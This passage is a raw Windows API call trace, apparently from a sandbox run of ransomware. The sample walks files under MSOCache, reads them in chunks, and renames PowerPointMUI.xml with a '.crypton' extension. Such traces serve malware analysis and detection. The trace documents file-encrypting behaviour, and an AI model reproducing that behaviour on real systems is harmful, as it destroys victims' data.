lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1da, lpOverlapped=0x0) returned 1 [0069.015] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1d2, lpOverlapped=0x0) returned 1 [0069.015] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1ca, lpOverlapped=0x0) returned 1 [0069.015] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1c2, lpOverlapped=0x0) returned 1 [0069.015] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1ba, lpOverlapped=0x0) returned 1 [0069.015] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1b2, lpOverlapped=0x0) returned 1 [0069.015] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1aa, lpOverlapped=0x0) returned 1 [0069.015] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1a2, lpOverlapped=0x0) returned 1 [0069.016] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x19a, lpOverlapped=0x0) returned 1 [0069.016] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x192, lpOverlapped=0x0) returned 1 [0069.016] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x18a, lpOverlapped=0x0) returned 1 [0069.016] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x182, lpOverlapped=0x0) returned 1 [0069.016] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x17a, lpOverlapped=0x0) returned 1 [0069.016] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x172, lpOverlapped=0x0) returned 1 [0069.016] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x16a, lpOverlapped=0x0) returned 1 [0069.016] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x162, lpOverlapped=0x0) returned 1 [0069.016] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x15a, lpOverlapped=0x0) returned 1 [0069.016] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x152, lpOverlapped=0x0) returned 1 [0069.016] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x14a, lpOverlapped=0x0) returned 1 [0069.017] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x142, lpOverlapped=0x0) returned 1 [0069.017] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x13a, lpOverlapped=0x0) returned 1 [0069.017] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x132, lpOverlapped=0x0) returned 1 [0069.017] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x12a, lpOverlapped=0x0) returned 1 [0069.017] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x122, lpOverlapped=0x0) returned 1 [0069.017] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x11a, lpOverlapped=0x0) returned 1 [0069.017] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x112, lpOverlapped=0x0) returned 1 [0069.017] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x10a, lpOverlapped=0x0) returned 1 [0069.017] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x102, lpOverlapped=0x0) returned 1 [0069.017] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xfa, lpOverlapped=0x0) returned 1 [0069.017] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xf2, lpOverlapped=0x0) returned 1 [0069.017] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xea, lpOverlapped=0x0) returned 1 [0069.018] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xe2, lpOverlapped=0x0) returned 1 [0069.018] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xda, lpOverlapped=0x0) returned 1 [0069.018] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xd2, lpOverlapped=0x0) returned 1 [0069.018] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xca, lpOverlapped=0x0) returned 1 [0069.018] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xc2, lpOverlapped=0x0) returned 1 [0069.018] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xba, lpOverlapped=0x0) returned 1 [0069.018] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xb2, lpOverlapped=0x0) returned 1 [0069.018] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xaa, lpOverlapped=0x0) returned 1 [0069.018] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xa2, lpOverlapped=0x0) returned 1 [0069.018] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x9a, lpOverlapped=0x0) returned 1 [0069.018] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x92, lpOverlapped=0x0) returned 1 [0069.019] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x8a, lpOverlapped=0x0) returned 1 [0069.019] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x82, lpOverlapped=0x0) returned 1 [0069.019] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x7a, lpOverlapped=0x0) returned 1 [0069.019] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x72, lpOverlapped=0x0) returned 1 [0069.019] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x6a, lpOverlapped=0x0) returned 1 [0069.019] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x62, lpOverlapped=0x0) returned 1 [0069.019] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5a, lpOverlapped=0x0) returned 1 [0069.019] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x52, lpOverlapped=0x0) returned 1 [0069.019] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4a, lpOverlapped=0x0) returned 1 [0069.019] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x42, lpOverlapped=0x0) returned 1 [0069.019] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3a, lpOverlapped=0x0) returned 1 [0069.020] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x32, lpOverlapped=0x0) returned 1 [0069.020] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2a, lpOverlapped=0x0) returned 1 [0069.020] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x22, lpOverlapped=0x0) returned 1 [0069.020] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1a, lpOverlapped=0x0) returned 1 [0069.020] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x12, lpOverlapped=0x0) returned 1 [0069.020] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xa, lpOverlapped=0x0) returned 1 [0069.020] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2, lpOverlapped=0x0) returned 1 [0069.020] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x0, lpOverlapped=0x0) returned 1 [0069.020] AreFileApisANSI () returned 1 [0069.020] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 82 [0069.020] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa4) returned 0x536b88 [0069.020] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x536b88, cchWideChar=82 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 82 [0069.020] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 90 [0069.020] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xb4) returned 0x556dc8 [0069.020] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae90, cbMultiByte=-1, lpWideCharStr=0x556dc8, cchWideChar=90 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.crypton") returned 90 [0069.020] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.crypton" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.crypton"), dwFlags=0x2) returned 1 [0069.021] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556dc8 | out: hHeap=0x510000) returned 1 [0069.021] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0069.021] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae90 | out: hHeap=0x510000) returned 1 [0069.021] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0069.021] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533de0 | out: hHeap=0x510000) returned 1 [0069.021] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533d90 | out: hHeap=0x510000) returned 1 [0069.021] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0069.021] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae28 [0069.021] AreFileApisANSI () returned 1 [0069.021] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 82 [0069.021] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa4) returned 0x536b88 [0069.021] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x536b88, cchWideChar=82 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 82 [0069.021] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0069.021] GetLastError () returned 0x2 [0069.021] AreFileApisANSI () returned 1 [0069.022] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpFilePart=0x0) returned 0x50 [0069.022] GetLastError () returned 0x2 [0069.022] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="PptLR.cab", cAlternateFileName="")) returned 1 [0069.022] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0069.022] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0069.022] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0069.022] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0069.022] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0069.022] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0069.022] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0069.022] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0069.022] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0069.022] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0069.022] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d90 [0069.022] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533de0 [0069.022] AreFileApisANSI () returned 1 [0069.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0069.022] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x94) returned 0x536b88 [0069.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x536b88, cchWideChar=74 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 74 [0069.022] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x4aba3c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0069.023] GetFileType (hFile=0x190) returned 0x1 [0069.023] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0069.023] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4abb08 | out: lpNewFilePointer=0x0) returned 1 [0069.023] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4ababc | out: lpNewFilePointer=0x0) returned 1 [0069.023] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba8c | out: lpNewFilePointer=0x0) returned 1 [0069.023] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.023] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba8c | out: lpNewFilePointer=0x0) returned 1 [0069.024] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.024] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55ee28 [0069.024] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x75e, lpOverlapped=0x0) returned 1 [0069.025] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.026] GetLastError () returned 0x0 [0069.026] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.026] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x756, lpOverlapped=0x0) returned 1 [0069.026] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.026] GetLastError () returned 0x0 [0069.026] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x10, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.026] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x74e, lpOverlapped=0x0) returned 1 [0069.026] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x10, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.026] GetLastError () returned 0x0 [0069.026] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x18, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.027] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, 